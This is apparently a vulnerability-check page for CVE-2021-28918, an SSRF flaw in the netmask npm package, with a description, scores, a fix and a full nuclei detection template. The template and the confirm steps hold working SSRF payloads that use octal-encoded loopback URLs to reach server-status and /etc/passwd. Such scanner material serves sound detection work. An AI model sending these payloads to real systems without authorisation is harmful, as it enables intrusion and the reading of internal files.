Netmask NPM Package - Server-Side Request Forgery

criticalseverity

9.1CVSS score

15%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.

Impact

An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to unauthorized access or information disclosure.

Fix

Upgrade to Netmask version 2.0.0 or later, which includes a fix for this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?url=http://0177.0.0.1/server-status ; GET {{BaseURL}}/?host=http://0177.0.0.1/server-status ; GET {{BaseURL}}/?file=http://0177.0.0.1/etc/passwd
Positive when: contains "Apache Server Status" and "Server Version" OR matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2021-28918 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-28918

info:
  name: Netmask NPM Package - Server-Side Request Forgery
  author: johnjhacking
  severity: critical
  description: Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
  impact: |
    An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to Netmask version 2.0.0 or later, which includes a fix for this vulnerability.
  reference:
    - https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
    - https://github.com/advisories/GHSA-pch5-whg9-qr2r
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28918
    - https://github.com/rs/node-netmask
    - https://rootdaemon.com/2021/03/29/vulnerability-in-netmask-npm-package-affects-280000-projects/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2021-28918
    cwe-id: CWE-704
    epss-score: 0.15037
    epss-percentile: 0.96751
    cpe: cpe:2.3:a:netmask_project:netmask:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 3
    vendor: netmask_project
    product: netmask
    framework: node.js
  tags: cve2021,cve,npm,netmask,ssrf,lfi,netmask_project,node.js,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
      - "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
      - "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "Apache Server Status"
          - "Server Version"
        condition: and

      - type: regex
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from